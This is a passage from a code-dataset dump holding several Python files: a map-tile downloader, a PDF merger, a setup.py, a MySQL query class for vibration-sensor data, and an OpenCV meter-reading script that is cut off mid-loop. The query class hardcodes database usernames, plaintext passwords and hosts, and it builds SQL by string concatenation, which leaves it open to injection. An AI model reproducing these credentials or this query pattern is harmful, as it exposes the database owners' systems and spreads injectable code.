w=1-(w+1)/2 # make w to (0,1) and left top is 0-point\r\n\r\n num=2**z\r\n x=floor(j*num)\r\n y=floor(w*num)\r\n return x,y\r\n\r\n\r\n#根据瓦片坐标范围,获得该区域四个角的web墨卡托投影坐标\r\ndef getframeM(inx,iny,inx2,iny2,z):\r\n '''\r\n Get the frame of region \r\n input lefttop and rightbutton tile cooridinates\r\n output WebMecator cooridinates of the frame\r\n '''\r\n length = 20037508.3427892\r\n sum=2**z\r\n LTx=inx / sum*length*2 - length\r\n LTy= -(iny / sum*length*2) + length\r\n\r\n RBx=(inx2+1) / sum*length*2 - length\r\n RBy= -((iny2+1) / sum*length*2) + length\r\n\r\n #LT=left top,RB=right buttom\r\n #返回四个角的投影坐标\r\n res={'LT':(LTx,LTy),'RB':(RBx,RBy),'LB':(LTx,RBy),'RT':(RBx,LTy)}\r\n return res\r\n\r\n#根据瓦片坐标范围,获得该区域四个角的地理经纬度坐标\r\ndef getframeW(inx,iny,inx2,iny2,z):\r\n '''\r\n Get the frame of region \r\n input lefttop and rightbutton tile cooridinates\r\n output geographical cooridinates of the frame\r\n '''\r\n zb=getframeM(inx,iny,inx2,iny2,z)\r\n for index,xy in zb.items():\r\n zb[index]=mecator2wgs(*xy)\r\n #返回四个角的经纬度坐标\r\n return zb\r\n\r\ndef printzb(zb):\r\n if not zb:\r\n return\r\n print(\"左上:({0:.7f},{1:.7f})\".format(*zb['LT']))\r\n print(\"右上:({0:.7f},{1:.7f})\".format(*zb['RT']))\r\n print(\"左下:({0:.7f},{1:.7f})\".format(*zb['LB']))\r\n print(\"右下:({0:.7f},{1:.7f})\".format(*zb['RB']))\r\n\r\n\r\n\r\nasync def async_getpic(domain, urls, out_pics, index, multiple): # 通过协程来下载图像,更具效率\r\n length=len(urls)\r\n global EXIT\r\n for i in range(index,length,multiple):\r\n if EXIT:\r\n return\r\n connect = asyncio.open_connection(host=domain, port=80)\r\n try:\r\n reader, writer = await connect\r\n except:\r\n EXIT = True\r\n return\r\n header = 'GET {url} HTTP/1.0\\r\\nHost: {domain}\\r\\n{header}\\r\\n\\r\\n'.format(url=urls[i], \r\n domain=domain, header=HEADERS)\r\n writer.write(header.encode('utf-8'))\r\n await writer.drain()\r\n msg = await reader.read()\r\n if msg.find(b\"Content-Type: image\")>1:\r\n pl=msg.find(b\"\\r\\n\\r\\n\")\r\n out_pics[i] = msg[pl+4:]\r\n else:\r\n out_pics[i] = None\r\n EXIT = True\r\n \r\n writer.close()\r\n\r\n\r\ndef async_getpics(urls,domain, multiple=10): # 根据urls列表下载图片数据\r\n loop = asyncio.get_event_loop() # 得到一个事件循环模型\r\n minor_pics=[None for i in range(len(urls))] #预留list空间\r\n tasks=[]\r\n global EXIT\r\n EXIT = False\r\n for i in range(multiple):\r\n tasks.append(async_getpic(domain,urls,minor_pics,i,multiple))\r\n\r\n loop.run_until_complete(asyncio.wait(tasks)) # 执行任务\r\n loop.close()\r\n return minor_pics # 返回图片数据\r\n\r\n\r\ndef getpic(x1,y1,x2,y2,z,source='google',outfile=\"MAP_OUT.png\",style='s'):\r\n '''\r\n 依次输入左上角的经度、纬度,右下角的经度、纬度,缩放级别,地图源,输出文件,影像类型(默认为卫星图)\r\n 获取区域内的瓦片并自动拼合图像。\r\n '''\r\n pos1x, pos1y = getpos(x1, y1, z)\r\n pos2x, pos2y = getpos(x2, y2, z)\r\n frame=getframeW(pos1x,pos1y,pos2x,pos2y,z)\r\n lenx = pos2x - pos1x + 1\r\n leny = pos2y - pos1y + 1\r\n print(\"瓦片总数量:{x} X {y}\".format(x=lenx,y=leny))\r\n\r\n domain = getdomain(source,style)\r\n urls=[geturl(source,i,j,z,style) for j in range(pos1y, pos1y + leny) for i in range(pos1x, pos1x + lenx)]\r\n print(\"正在下载......\")\r\n datas = async_getpics(urls, domain)\r\n \r\n if EXIT:\r\n print(\"下载出错!\\n可能是缩放级别z过大,或者未连接到网络。\")\r\n return\r\n\r\n print(\"下载完成!\\n开始拼合图像......\") \r\n outpic = pil.new('RGBA',(lenx*256,leny*256))\r\n for i,data in enumerate(datas):\r\n picio=io.BytesIO(data)\r\n try:\r\n small_pic=pil.open(picio)\r\n except:\r\n print(data)\r\n y,x = i // lenx,i % lenx\r\n outpic.paste(small_pic,(x*256,y*256))\r\n\r\n print('拼合完成!\\n正在导出...')\r\n outpic.save(outfile)\r\n print('导出完成!')\r\n return frame\r\n\r\n\r\ndef getpic_s(x,y,z,source='google',outfile=\"out_single.png\",style=\"s\"):\r\n '''获得单幅瓦片图像'''\r\n getpic(x,y,x,y,z,source,outfile,style)\r\n\r\n\r\nif __name__ == '__main__':\r\n #下载西安 青龙寺地块 卫星地图\r\n mm=getpic(108.9797845,34.2356831,108.9949663,34.2275018,\r\n 18,source='google',style='s',outfile=\"myout.png\")\r\n printzb(mm)\r\n \r\n","sub_path":"getmap.py","file_name":"getmap.py","file_ext":"py","file_size_in_byte":8276,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"170453703","text":"# -*- coding: utf-8 -*-\n\nimport PyPDF2, os\n\n\npdfFiles = []\n\nfor filename in os.listdir('.'):\n\tif filename.endswith('.pdf'):\n\t\tpdfFiles.append(filename)\npdfFiles.sort()\npdfWriter = PyPDF2.PdfFileWriter()\nprint(pdfFiles)\n\nfor filename in pdfFiles:\n\tpdfFileObj = open(filename, 'rb')\n\tpdfReader = PyPDF2.PdfFileReader(pdfFileObj)\n\tpageObj = pdfReader.getPage(0).rotateClockwise(270)\n\t# pageObj.rotateClockwise(270)\n\tpdfWriter.addPage(pageObj)\n\npdfOutput = open('allFiles.pdf', 'wb')\npdfWriter.write(pdfOutput)\npdfOutput.close()\n\n","sub_path":"pdf(PyPDF2)/unindoArquivos.py","file_name":"unindoArquivos.py","file_ext":"py","file_size_in_byte":526,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"98189999","text":"# pylint: skip-file\n# flake8: noqa\n\n# Authors\n#\n# - pre-alpha 0.0.1 2016 - Matt Comben\n# - GA 1.0.0 2020 - Tomasz Szuster\n#\n# Copyrigh (c)\n#\n# This file is part of pysfdisk.\n#\n# pysfdisk is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 2 of the License, or\n# (at your option) any later version.\n#\n# pysfdisk is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with pysfdisk. If not, see \n\nfrom setuptools import setup\nfrom os import path\n\n# The directory containing this file\nHERE = path.abspath(path.dirname(__file__))\n\n# The text of the README file\nwith open(path.join(HERE, \"README.rst\")) as fid:\n long_description = fid.read()\n\nwith open(path.join(HERE, \"VERSION\")) as version_fh:\n version = version_fh.read()\n\nsetup(\n author=\"Matt Comben, Tomasz Szuster\",\n author_email=\"matthew@dockstudios.co.uk, tomasz.szuster@gmail.com\",\n long_description=long_description,\n long_description_content_type=\"text/x-rst\",\n classifiers=[\n \"Programming Language :: Python :: 3.6\",\n \"Programming Language :: Python :: 3.7\",\n \"Programming Language :: Python :: 3.8\",\n \"License :: OSI Approved :: MIT License\",\n \"Operating System :: POSIX :: Linux\",\n ],\n license=\"GNU GENERAL PUBLIC LICENSE\",\n name=\"py-disk-imager\",\n packages=[\"pysfdisk\"],\n url=\"https://github.com/beskidinstruments/python-sfdisk\",\n version=version,\n include_package_data=True,\n)\n","sub_path":"pypi_install_script/py-disk-imager-1.0.1.tar/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1818,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"590423759","text":"import mysql.connector\nimport pandas as pd\nfrom utils import lin_log_interp\nimport numpy as np\nimport ast\n\nclass DBQuerier(object):\n\n def __init__(self,database,assetId,connection='Personal',debug=True,limit=None):\n\n if debug:\n self.debug_str = \"\"\n else:\n self.debug_str = \"and VibrationState.PCAFit IS NULL\"\n\n self.debug = debug\n\n self.database = database\n self.assetId = assetId\n self.reset_min_date()\n\n if connection.lower() == 'personal':\n self.user = 'dnewman'\n self.password = 'Convolve7691!'\n self.host = '10.8.0.1'\n elif connection.lower() == 'boeing':\n self.user = 'searcher'\n self.password = 'oDxAYdZaC3FWhY66'\n self.host = 'db18.iotfm.org'\n self.limit = limit\n \n def connect(self):\n self.mydb = mysql.connector.connect(user=self.user,password=self.password,\n host=self.host,database=self.database)\n\n def disconnect(self):\n self.mydb.close()\n\n def reset_min_date(self):\n self.minQueriedDate = \"2999-01-01 00:00:00.000000\"\n\n def insert_labels(self,dates,labels):\n \n insert_vals = [\"('\" + dates[i] + \"', '\" + self.assetId + \"', '\" + labels[i] + \"'),\" for i in range(len(dates))]\n insert_vals = ''.join(insert_vals)[:-1]\n \n query = \"\"\"INSERT INTO \"\"\" + self.database + \"\"\".VibrationState\n (`dateTime`,`assetId`,`values`) VALUES \n \"\"\" + insert_vals + \"\"\";\"\"\"\n \n if self.debug:\n print(query)\n else:\n self.execute_query(query)\n \n def insert_labels_program(self,dates,labels, programName):\n \n insert_vals = [\"('\" + dates[i] + \"', '\" + self.assetId + \"', '\" + labels[i] + \"', '\" + programName + \"'),\" for i in range(len(dates))]\n insert_vals = ''.join(insert_vals)[:-1]\n \n query = \"\"\"INSERT INTO \"\"\" + self.database + \"\"\".VibrationState\n (`dateTime`,`assetId`,`values`,`programName`) VALUES \n \"\"\" + insert_vals + \"\"\";\"\"\"\n \n if self.debug:\n print(query)\n else:\n self.execute_query(query)\n \n def insert_labels_experiment(self,table,dates,\n experimentNumber,\n experimentName,\n toolStatus,\n toolSize,\n material,\n depthOfCut,\n surfaceSpeed,\n feedRate):\n \n insert_vals = [\"('\" + dates[i] + \"', '\" + self.assetId + \"', \" + str(experimentNumber) + \", '\" + experimentName +\"', '\" \n + toolStatus + \"', '\" + toolSize + \"', '\" + material + \"', '\" + depthOfCut + \"', '\"\n + surfaceSpeed + \"', '\" + feedRate + \"'),\" for i in range(len(dates))]\n \n insert_vals = ''.join(insert_vals)[:-1]\n \n query = \"\"\"INSERT INTO \"\"\" + self.database + \"\"\".\"\"\" + table + \"\"\"\n (`dateTime`,`assetId`,`experimentSample`, `experimentName`, `toolStatus`,\n `toolSize`,`material`,`depthOfCut`,`surfaceSpeed`,`feedRate`) VALUES \n \"\"\" + insert_vals + \"\"\";\"\"\"\n \n if self.debug:\n print(query)\n else:\n self.execute_query(query)\n\n def select_labels(self):\n query = \"\"\"SELECT VibrationState.values, VibrationState.dateTime, RMS.values as rmsVals\n FROM \"\"\" + self.database + \"\"\".VibrationState\n INNER JOIN \"\"\" + self.database + \"\"\".RMS ON\n \"\"\" + self.database + \"\"\".RMS.dateTime = \"\"\" + self.database + \"\"\".VibrationState.dateTime \n where VibrationState.assetId = '\"\"\" + self.assetId + \"\"\"'\n order by dateTime desc;\"\"\"\n \n cursor = self.execute_query(query)\n data=cursor.fetchall()\n columns = ['dateTime','RMS','VibState']\n vibState = np.array([[data[i][0] for i in range(len(data))]]).T\n dateTime = np.array([[data[i][1] for i in range(len(data))]]).T\n rmsVals = np.array([[data[i][2] for i in range(len(data))]]).T\n\n Data = np.hstack((dateTime,rmsVals,vibState))\n\n resultDF = pd.DataFrame(data=Data,columns=columns)\n # resultDF['dateTime'] = pd.to_datetime(resultDF['dateTime'])\n\n return resultDF\n\n def select_unique_sensorId(self):\n\n query = \"\"\"SELECT DISTINCT(sensorId) FROM \"\"\" + self.database + \"\"\".RMS\n where assetId = '\"\"\" + self.assetId + \"\"\"';\"\"\"\n\n cursor = self.execute_query(query)\n data=cursor.fetchall()\n\n sensorId = [data[i][0] for i in range(len(data))]\n\n return sensorId\n \n def select_frequency_interval(self):\n query = \"\"\"SELECT frequencyInterval FROM \"\"\" + self.database + \"\"\".FFT\n where assetId = '\"\"\" + self.assetId + \"\"\"'\n order by id desc limit 1;\"\"\"\n\n cursor = self.execute_query(query)\n data=cursor.fetchall()\n\n frequencyInterval = float(data[0][0])\n\n return frequencyInterval\n \n def select_fft_features(self,\n minDate=None,\n stdev=False,\n labeled=True,\n sensorId=None,\n limit=None,\n descending_order=True,\n fft_interval=None,\n extra_condition = '',\n ):\n if self.debug:\n print(self.minQueriedDate)\n \n if fft_interval is not None:\n interval_str = \"and frequencyInterval\" + fft_interval\n else:\n interval_str = \"\"\n \n if stdev == True:\n table = 'FFTSTD'\n else:\n table = 'FFT'\n\n if labeled == True:\n vibStateSelect = \"\"\"exists \n (SELECT VibrationState.values from \"\"\" + self.database + \"\"\".VibrationState WHERE VibrationState.dateTime = \"\"\" + table + \"\"\".dateTime)\"\"\"\n else:\n vibStateSelect = table + \"\"\".dateTime < '\"\"\" + self.minQueriedDate + \"\"\"'\n and not exists \n (SELECT VibrationState.values from \"\"\" + self.database + \"\"\".VibrationState WHERE VibrationState.dateTime = \"\"\" + table + \"\"\".dateTime)\"\"\"\n\n if sensorId is not None:\n sensorId_str = \"and \" + self.database + \".RMS.sensorId = '\" + sensorId + \"'\"\n else: \n sensorId_str = ''\n \n if minDate is not None:\n minDate_str = \"and \" + table + \".dateTime > \" + minDate\n else:\n minDate_str = \"\"\n\n if self.limit is not None:\n limit_str = \"limit {}\".format(self.limit)\n else:\n limit_str = \"\"\n \n if descending_order == True:\n desc_str = \"desc\"\n else:\n desc_str = \"asc\"\n\n query = \"\"\"SELECT \"\"\" + table + \"\"\".sensorId, \n \"\"\" + table + \"\"\".dateTime AS dateTime, \n \"\"\" + table + \"\"\".values AS fftVals, \n RMS.values AS rmsVals,\n VibrationState.values as vibState,\n VibrationState.programName as programName\n FROM \"\"\" + self.database + \"\"\".\"\"\" + table + \"\"\"\n INNER JOIN \"\"\" + self.database + \"\"\".RMS ON \n \"\"\" + self.database + \"\"\".RMS.dateTime = \"\"\" + self.database + \"\"\".\"\"\" + table + \"\"\".dateTime \n and \"\"\" + self.database + \"\"\".RMS.assetId = '\"\"\" + self.assetId + \"\"\"' \n \"\"\" + sensorId_str + \"\"\"\n LEFT JOIN \"\"\" + self.database + \"\"\".VibrationState ON \n \"\"\" + self.database + \"\"\".VibrationState.dateTime = \"\"\" + self.database + \"\"\".\"\"\" + table + \"\"\".dateTime \n where \"\"\" + vibStateSelect + \"\"\"\n \"\"\" + self.debug_str + \"\"\" \n and \"\"\" + table + \"\"\".assetId = '\"\"\" + self.assetId + \"\"\"'\n \"\"\" + minDate_str + \"\"\" \"\"\" + interval_str + \"\"\" \"\"\" + extra_condition + \"\"\"\n order by \"\"\" + table + \"\"\".dateTime \"\"\" + desc_str + \" \" + limit_str + \"\"\"; \"\"\"\n \n print(query)\n\n cursor = self.execute_query(query)\n data=cursor.fetchall()\n\n if len(data) <= 0:\n return pd.DataFrame(),pd.DataFrame(),pd.DataFrame()\n \n fftVals = np.array([[]])\n \n \n sensorId = np.array([[data[i][0] for i in range(len(data))]]).T\n dateTime = np.array([[data[i][1] for i in range(len(data))]]).T\n fftVals = np.array([np.array(ast.literal_eval(data[i][2])) for i in range(len(data))])\n rmsVals = np.array([[data[i][3] for i in range(len(data))]]).T.astype(float)\n vibState = np.array([[data[i][4] for i in range(len(data))]]).T\n programName = np.array([[data[i][5] for i in range(len(data))]]).T\n\n columns = ['FFT-{}'.format(i) for i in range(fftVals.shape[1])]\n columns = ['dateTime'] + columns + ['RMS','sensorId','VibState','programName']\n\n \n fftVals = lin_log_interp(fftVals).astype(float)\n\n statsFeatures = np.hstack((dateTime,fftVals,rmsVals,sensorId,vibState,programName))\n\n featuresDF = pd.DataFrame(data=statsFeatures,columns=columns)\n featuresDF = featuresDF.set_index('dateTime')\n featuresDF.index = pd.to_datetime(featuresDF.index)\n \n cursor.close()\n self.disconnect()\n\n sensorIdDF = featuresDF.loc[:, featuresDF.columns == 'sensorId']\n vibStateDF = featuresDF.loc[:, featuresDF.columns == 'VibState']\n progNameDF = featuresDF.loc[:, featuresDF.columns == 'programName']\n featuresDF = featuresDF.drop(['RMS','sensorId','VibState'],axis=1)\n \n self.minQueriedDate = np.amin(dateTime).strftime('%Y-%m-%d %H:%M:%S.%f')\n\n \n return featuresDF,sensorIdDF,vibStateDF, programName\n\n def select_ml_features(self,labeled=True,sensorId=None):\n\n if self.debug:\n print(self.minQueriedDate)\n\n if labeled == True:\n vibStateSelect = \"\"\"exists \n (SELECT VibrationState.values from db18.VibrationState WHERE VibrationState.dateTime = FFT.dateTime)\"\"\"\n else:\n vibStateSelect = \"\"\"FFT.dateTime < '\"\"\" + self.minQueriedDate + \"\"\"'\n and not exists \n (SELECT VibrationState.values from db18.VibrationState WHERE VibrationState.dateTime = FFT.dateTime)\"\"\"\n\n if sensorId is not None:\n sensorId_str = \"and db18.VibrationSkewness.sensorId = '\" + sensorId + \"'\"\n else: \n sensorId_str = ''\n\n if limit is not None:\n limit_str = \"limit {}\".format(self.limit)\n else:\n limit_str = \"\"\n\n query = \"\"\"SELECT FFT.sensorId, \n FFT.dateTime AS dateTime, \n FFT.values AS fftVals, \n RMS.values AS rmsVals, \n VibrationMean.values as vibMeanVals, \n VibrationSkewness.values as vibSkewVals, \n VibrationKurtosis.values as vibKurtVals, \n VibrationVariance.values as vibVarVals, \n VibrationState.values as vibState\n FROM db18.VibrationSkewness\n INNER JOIN db18.FFT ON\n db18.FFT.dateTime = db18.VibrationSkewness.dateTime \n and db18.VibrationSkewness.assetId = '\"\"\" + self.assetId + \"\"\"' \n \"\"\" + sensorId_str + \"\"\"\n INNER JOIN db18.RMS ON \n db18.RMS.dateTime = db18.VibrationSkewness.dateTime \n INNER JOIN db18.VibrationMean ON \n db18.VibrationMean.dateTime = db18.VibrationSkewness.dateTime \n INNER JOIN db18.VibrationKurtosis ON \n db18.VibrationKurtosis.dateTime = db18.VibrationSkewness.dateTime \n INNER JOIN db18.VibrationVariance ON \n db18.VibrationVariance.dateTime = db18.VibrationSkewness.dateTime \n LEFT JOIN db18.VibrationState ON \n db18.VibrationState.dateTime = db18.VibrationSkewness.dateTime \n where \"\"\" + vibStateSelect + \"\"\"\n \"\"\" + self.debug_str + \"\"\"\n order by FFT.dateTime desc \"\"\" + limit_str + \"\"\"; \"\"\"\n\n cursor = self.execute_query(query)\n data=cursor.fetchall()\n\n if len(data) <= 0:\n return pd.DataFrame(),pd.DataFrame(),pd.DataFrame()\n \n columns = ['FFT-{}'.format(i) for i in range(257)]\n columns = ['dateTime'] + columns + ['RMS', 'Mean', 'Skew', 'Kurtosis', 'Variance','sensorId','VibState']\n \n sensorId = np.array([[data[i][0] for i in range(len(data))]]).T\n dateTime = np.array([[data[i][1] for i in range(len(data))]]).T\n fftVals = np.array([ast.literal_eval(data[i][2]) for i in range(len(data))])\n rmsVals = np.array([[data[i][3] for i in range(len(data))]]).T\n vibMeanVals = np.array([[data[i][4] for i in range(len(data))]]).T\n vibSkewVals = np.array([[data[i][5] for i in range(len(data))]]).T\n vibKurtVals = np.array([[data[i][6] for i in range(len(data))]]).T\n vibVarVals = np.array([[data[i][7] for i in range(len(data))]]).T\n vibState = np.array([[data[i][8] for i in range(len(data))]]).T\n\n vibKurtVals = np.abs(vibKurtVals)\n vibSkewVals = np.abs(vibSkewVals)\n \n fftVals = lin_log_interp(fftVals)\n\n self.minQueriedDate = np.amin(dateTime).strftime('%Y-%m-%d %H:%M:%S.%f')\n\n statsFeatures = np.hstack((dateTime,fftVals,rmsVals,vibMeanVals,vibSkewVals,vibKurtVals,vibVarVals,sensorId,vibState))\n\n featuresDF = pd.DataFrame(data=statsFeatures,columns=columns)\n featuresDF = featuresDF.set_index('dateTime')\n featuresDF.index = pd.to_datetime(featuresDF.index)\n \n cursor.close()\n self.disconnect()\n\n sensorIdDF = featuresDF.loc[:, featuresDF.columns == 'sensorId']\n vibStateDF = featuresDF.loc[:, featuresDF.columns == 'VibState']\n featuresDF = featuresDF.drop(['sensorId','VibState'],axis=1).astype(float)\n \n return featuresDF,sensorIdDF,vibStateDF\n\n def execute_query(self,query):\n\n self.connect()\n cursor = self.mydb.cursor()\n cursor.execute(query)\n\n if query.lower().find('insert') != -1:\n self.mydb.commit()\n cursor.close()\n self.disconnect()\n return True\n else:\n return cursor\n","sub_path":"Dissertation-Notebooks/Chapter-3/Emco_Warmup_Monitoring/DBQuerier.py","file_name":"DBQuerier.py","file_ext":"py","file_size_in_byte":14338,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"461789637","text":"#!/usr/bin/python3\n# -*- coding: utf8 -*-\n#######################\n#\n# 电表自动读数系统\n#\n#######################\n\nimport numpy as np\nimport imutils\nimport os\n\nimport pytesseract\nfrom PIL import Image\n\nimport cv2\n\nfrom skimage.morphology import disk\nfrom skimage.filter import rank\nimport sys\n\n\nfrom skimage import exposure\nimport argparse\n\nshow_img = True\n\ndef img_show_hook(title, img):\n global show_img\n type = sys.getfilesystemencoding()\n if show_img:\n #cv2.imshow(title, img)\n cv2.imshow(title.decode('utf-8').encode(type), img)\n cv2.waitKey(0) \n return\n\n\ndef img_sobel_binary(im, blur_sz):\n \n # 高斯模糊,滤除多余的直角干扰\n img_blur = cv2.GaussianBlur(im,blur_sz,0)\n if len(img_blur.shape) == 3:\n # 转换成灰度图\n blur_gray = cv2.cvtColor(img_blur,cv2.COLOR_BGR2GRAY)\n else:\n blur_gray = img_blur\n\n # 提取Sobel直角特征\n sobelx = cv2.Sobel(blur_gray, cv2.CV_16S, 1, 0, ksize=1)\n sobely = cv2.Sobel(blur_gray, cv2.CV_16S, 0, 1, ksize=1)\n abs_sobelx = np.absolute(sobelx)\n abs_sobely = np.absolute(sobely)\n sobel_8ux = np.uint8(abs_sobelx)\n sobel_8uy = np.uint8(abs_sobely)\n # img_show_hook(\"Sobelx特征\", sobel_8ux)\n # img_show_hook(\"Sobely特征\", sobel_8uy)\n \n # OTSU提取二值图像 \n #ret, thdx = cv2.threshold(sobel_8ux, 0, 255, cv2.THRESH_BINARY+cv2.THRESH_OTSU)\n #ret, thdy = cv2.threshold(sobel_8uy, 0, 255, cv2.THRESH_BINARY + cv2.THRESH_OTSU)\n ret, thdx = cv2.threshold(sobel_8ux, 12, 255, cv2.THRESH_BINARY)\n ret, thdy = cv2.threshold(sobel_8uy, 12, 255, cv2.THRESH_BINARY)\n\n thd_absx = cv2.convertScaleAbs(thdx)\n thd_absy = cv2.convertScaleAbs(thdy)\n bgimg = cv2.addWeighted(thd_absx, 0.5, thd_absy, 0.5, 0)\n \n img_show_hook(\"OTSU二值图像\", bgimg)\n \n return bgimg\n\n\ndef img_contour_extra(im):\n # 腐蚀和膨胀\n # kernel = cv2.getStructuringElement(cv2.MORPH_RECT,(5,5))\n # bgmask = cv2.morphologyEx(im, cv2.MORPH_CLOSE, kernel)\n bgmask = im\n img_show_hook(\"膨胀腐蚀结果\", bgmask)\n \n # 获得连通区域\n # 该函数会破坏原始参数\n # findContours找到外部轮廓\n contours, hierarchy = cv2.findContours(bgmask.copy(), cv2.RETR_EXTERNAL,cv2.CHAIN_APPROX_SIMPLE)\n cv2.drawContours(im, contours, -1, (0, 0, 255), 3)\n\n cv2.imshow(\"img\", im)\n cv2.waitKey(0)\n return contours\n\n\ndef img_contour_select(ctrs, im):\n # 剔除明显不满足条件的区域\n cand_rect = []\n for item in ctrs:\n # 周长,或者弧长,第二个参数表示该轮廓是否封闭,0.02的精度\n epsilon = 0.02*cv2.arcLength(item, True)\n # 进行轮廓近似\n approx = cv2.approxPolyDP(item, epsilon, True) \n if len(approx) <= 8:\n # minAreaRect 获得这些轮廓的最小外接矩形(旋转的外包络矩形),存储在vector向量中,返回值是RotatedRect\n rect = cv2.minAreaRect(item)\n '''\n if rect[1][0] < 20 or rect[1][1] < 20:\n continue\n if rect[1][0] > 150 or rect[1][1] > 150:\n continue\n '''\n\n # ratio = (rect[1][1]+0.00001) / rect[1][0]\n # if ratio > 1 or ratio < 0.9:\n # continue\n # box = cv2.boxPoints(rect)\n # box是四个点的坐标\n box = cv2.cv.BoxPoints(rect)\n box_d = np.int0(box)\n #画出轮廓,-1,表示所有轮廓(0,表示画出第0个轮廓),画笔颜色为(0, 255, 0),即Green,粗细为3\n cv2.drawContours(im, [box_d], 0, (0,255,0), 3)\n cand_rect.append(box)\n img_show_hook(\"候选区域\", im)\n #img_show_hook(\"候选区域\", im)\n return cand_rect\n\n\n# 轮廓\ndef img_contour_select_one(ctrs, im):\n # 剔除明显不满足条件的区域\n cand_rect = []\n for item in ctrs:\n # 周长,或者弧长,第二个参数表示该轮廓是否封闭,0.02的精度\n epsilon = 0.02*cv2.arcLength(item, True)\n # 进行轮廓近似\n approx = cv2.approxPolyDP(item, epsilon, True)\n if len(approx) == 4:\n # minAreaRect 获得这些轮廓的最小外接矩形(旋转的外包络矩形),存储在vector向量中,返回值是RotatedRect\n rect = cv2.minAreaRect(item)\n '''\n if rect[1][0] < 20 or rect[1][1] < 20:\n continue\n if rect[1][0] > 150 or rect[1][1] > 150:\n continue\n '''\n\n # ratio = (rect[1][1]+0.00001) / rect[1][0]\n # if ratio > 1 or ratio < 0.9:\n # continue\n # box = cv2.boxPoints(rect)\n # box是四个点的坐标\n box = cv2.cv.BoxPoints(rect)\n box_d = np.int0(box)\n #画出轮廓,-1,表示所有轮廓(0,表示画出第0个轮廓),画笔颜色为(0, 255, 0),即Green,粗细为3\n cv2.drawContours(im, [box_d], 0, (0,255,0), 2)\n cand_rect.append(box)\n img_show_hook(\"候选区域\", im)\n #img_show_hook(\"候选区域\", im)\n return cand_rect\ndef img_tesseract_detect(c_rect, im):\n # 由于使用minAreaRect获得的图像有-90~0的角度,所以给出的坐标顺序也不一定是\n # 转换时候给的,这里需要判断出图像的左上、左下、右上、右下的坐标,便于后面的变换\n pts = c_rect.reshape(4, 2)\n rect = np.zeros((4, 2), dtype = \"float32\")\n \n # the top-left point has the smallest sum whereas the\n # bottom-right has the largest sum\n s = pts.sum(axis = 1)\n rect[0] = pts[np.argmin(s)]\n rect[3] = pts[np.argmax(s)]\n \n # compute the difference between the points -- the top-right\n # will have the minumum difference and the bottom-left will\n # have the maximum difference\n diff = np.diff(pts, axis = 1)\n rect[2] = pts[np.argmin(diff)]\n rect[1] = pts[np.argmax(diff)] \n\n dst = np.float32([[0,0],[0,100],[200,0],[200,100]])\n\n # 对于投影变换,我们则需要知道四个点,通过cv2.getPerspectiveTransform求得变换矩阵.\n # 之后使用cv2.warpPerspective获得矫正后的图片。\n M = cv2.getPerspectiveTransform(rect, dst)\n warp = cv2.warpPerspective(im, M, (200, 100))\n \n img_show_hook(\"剪裁识别图像\", warp) \n \n warp = np.array(warp, dtype=np.uint8)\n radius = 10\n selem = disk(radius)\n \n # 使用局部自适应OTSU阈值处理\n local_otsu = rank.otsu(warp, selem)\n l_otsu = np.uint8(warp >= local_otsu)\n l_otsu *= 255\n # 定义结构元素\n kernel = cv2.getStructuringElement(cv2.MORPH_RECT,(4, 4))\n # 膨胀和腐蚀操作的核函数\n l_otsu = cv2.morphologyEx(l_otsu, cv2.MORPH_CLOSE, kernel)\n \n img_show_hook(\"局部自适应OTSU图像\", l_otsu) \n \n print(\"识别结果:\")\n print(pytesseract.image_to_string(Image.fromarray(l_otsu)))\n \n cv2.waitKey(0)\n return\n\n# 检测直线\ndef img_hough_lines(im):\n im = cv2.GaussianBlur(im,(3,3),0)\n edges = cv2.Canny(im, 50, 150, apertureSize=3)\n lines = cv2.HoughLines(edges, 1, np.pi / 180, 118) # 这里对最后一个参数使用了经验型的值\n result = im.copy()\n # 经验参数\n minLineLength = 200\n maxLineGap = 15\n lines = cv2.HoughLinesP(edges, 1, np.pi / 180, 80, minLineLength, maxLineGap)\n print(lines[0].min(axis=0))\n test = lines[0].min(axis=0)\n cv2.line(im, (test[0], test[1]), (test[2], test[3]), (0, 255, 0), 2)\n cv2.imshow('Cannyedgesone', im)\n\n\n for x1, y1, x2, y2 in lines[0]:\n #print(type(lines[0]))\n cv2.line(im, (x1, y1), (x2, y2), (0, 255, 0), 2)\n #cv2.imshow('Cannyedgesone', im)\n\n cv2.imshow('Cannyedges', edges)\n cv2.imshow('Result', im)\n cv2.waitKey(0)\n cv2.destroyAllWindows()\n return im\n\n# 找轮廓过滤矩形examples\ndef img_test(im):\n img_gray = cv2.cvtColor(im, cv2.COLOR_BGR2GRAY)\n img_gray = cv2.bilateralFilter(img_gray, 11, 17, 17)\n\n kernel = cv2.getStructuringElement(cv2.MORPH_RECT, (5, 5))\n bgmask = cv2.morphologyEx(im, cv2.MORPH_CLOSE, kernel)\n\n im = cv2.GaussianBlur(img_gray, (3, 3), 0)\n edges = cv2.Canny(img_gray, 50, 150, apertureSize=3)\n\n\n\n\n lines = cv2.HoughLines(edges, 1, np.pi / 180, 118) # 这里对最后一个参数使用了经验型的值\n result = im.copy()\n # 经验参数\n minLineLength = 200\n maxLineGap = 15\n lines = cv2.HoughLinesP(edges, 1, np.pi / 180, 80, minLineLength, maxLineGap)\n\n\n for x1, y1, x2, y2 in lines[0]:\n cv2.line(im, (x1, y1), (x2, y2), (0, 255, 0), 2)\n\n cv2.imshow('Canny', edges)\n #edged = cv2.Canny(img_gray, 30, 200)\n\n\n\n #################\n\n # 图片二值化\n imagessss = img_sobel_binary(edges, (3, 3))\n ##################\n\n #cv2.imshow(\"edged\", edged)\n cv2.waitKey(0)\n\n\n (cnts, _) = cv2.findContours(edges.copy(), cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\n cnts = sorted(cnts, key=cv2.contourArea, reverse=True)[:50]\n screenCnt = None\n # loop over our contours\n\n\n for c in cnts:\n # 